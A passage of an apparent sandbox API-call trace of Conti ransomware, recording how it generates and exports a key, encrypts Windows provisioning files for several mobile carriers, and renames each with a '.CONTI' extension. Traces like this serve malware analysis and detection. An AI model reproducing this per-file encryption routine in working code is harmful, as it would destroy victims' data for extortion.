	[0110.095] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0110.096] GetProcessHeap () returned 0x1720000
	[0110.096] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.096] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.096] GetProcessHeap () returned 0x1720000
	[0110.096] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65612b0 | out: hHeap=0x1720000) returned 1
	[0110.096] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.096] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b758b0 | out: phKey=0x6b758b0*=0x6b7f3b8) returned 1
	[0110.096] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b758b4, pdwDataLen=0x37ffcec | out: pbData=0x6b758b4*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.097] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.097] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.097] GetLastError () returned 0x0
	[0110.097] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=743) returned 1
	[0110.097] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e7
	[0110.097] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.097] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.097] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.097] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.097] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b758b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b758b4*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.099] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.099] ReadFile (in: hFile=0x3dc, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2e7, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2e7, lpOverlapped=0x0) returned 1
	[0110.099] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e7, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2f0) returned 1
	[0110.099] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.099] WriteFile (in: hFile=0x3dc, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2f0, lpOverlapped=0x0) returned 1
	[0110.099] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.099] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b758a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b758a8*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.100] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.100] CloseHandle (hObject=0x3dc) returned 1
	[0110.100] GetProcessHeap () returned 0x1720000
	[0110.100] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.100] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0110.100] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.100] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.100] GetProcessHeap () returned 0x1720000
	[0110.100] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.100] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.100] GetProcessHeap () returned 0x1720000
	[0110.100] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fdc68 | out: hHeap=0x1720000) returned 1
	[0110.101] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.101] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b778a0 | out: phKey=0x6b778a0*=0x6b7f3b8) returned 1
	[0110.101] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b778a4, pdwDataLen=0x37ffcec | out: pbData=0x6b778a4*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.101] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.102] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.102] GetLastError () returned 0x0
	[0110.102] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=861) returned 1
	[0110.102] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35d
	[0110.102] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.102] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.102] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.102] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.102] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b778a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b778a4*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.482] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.482] ReadFile (in: hFile=0x3dc, lpBuffer=0x8950000, nNumberOfBytesToRead=0x35d, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x35d, lpOverlapped=0x0) returned 1
	[0110.482] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x35d, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x360) returned 1
	[0110.482] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.482] WriteFile (in: hFile=0x3dc, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x360, lpOverlapped=0x0) returned 1
	[0110.482] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.482] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b77898*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b77898*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.482] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.482] CloseHandle (hObject=0x3dc) returned 1
	[0110.482] GetProcessHeap () returned 0x1720000
	[0110.482] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.571] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0110.571] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.571] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.572] GetProcessHeap () returned 0x1720000
	[0110.572] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.572] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.572] GetProcessHeap () returned 0x1720000
	[0110.572] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561000 | out: hHeap=0x1720000) returned 1
	[0110.572] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.572] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6565cb0 | out: phKey=0x6565cb0*=0x17c8330) returned 1
	[0110.573] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6565cb4, pdwDataLen=0x37ffcec | out: pbData=0x6565cb4*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.573] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.574] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.574] GetLastError () returned 0x0
	[0110.574] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=655) returned 1
	[0110.574] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28f
	[0110.574] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.574] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.574] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.574] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.574] WriteFile (in: hFile=0x3d8, lpBuffer=0x6565cb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6565cb4*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.581] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.581] ReadFile (in: hFile=0x3d8, lpBuffer=0x8950000, nNumberOfBytesToRead=0x28f, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x28f, lpOverlapped=0x0) returned 1
	[0110.581] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x28f, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x290) returned 1
	[0110.581] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.581] WriteFile (in: hFile=0x3d8, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x290, lpOverlapped=0x0) returned 1
	[0110.581] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.581] WriteFile (in: hFile=0x3d8, lpBuffer=0x6565ca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6565ca8*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.581] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.581] CloseHandle (hObject=0x3d8) returned 1
	[0110.581] GetProcessHeap () returned 0x1720000
	[0110.581] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.581] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml"
	[0110.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.581] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.582] GetProcessHeap () returned 0x1720000
	[0110.582] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.582] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.582] GetProcessHeap () returned 0x1720000
	[0110.582] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560698 | out: hHeap=0x1720000) returned 1
	[0110.582] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.582] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6563158 | out: phKey=0x6563158*=0x17c7eb0) returned 1
	[0110.582] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x656315c, pdwDataLen=0x37ffcec | out: pbData=0x656315c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.583] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.583] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.583] GetLastError () returned 0x0
	[0110.583] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=648) returned 1
	[0110.583] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x288
	[0110.583] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.583] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.584] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.584] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.584] WriteFile (in: hFile=0x3d8, lpBuffer=0x656315c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x656315c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.590] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
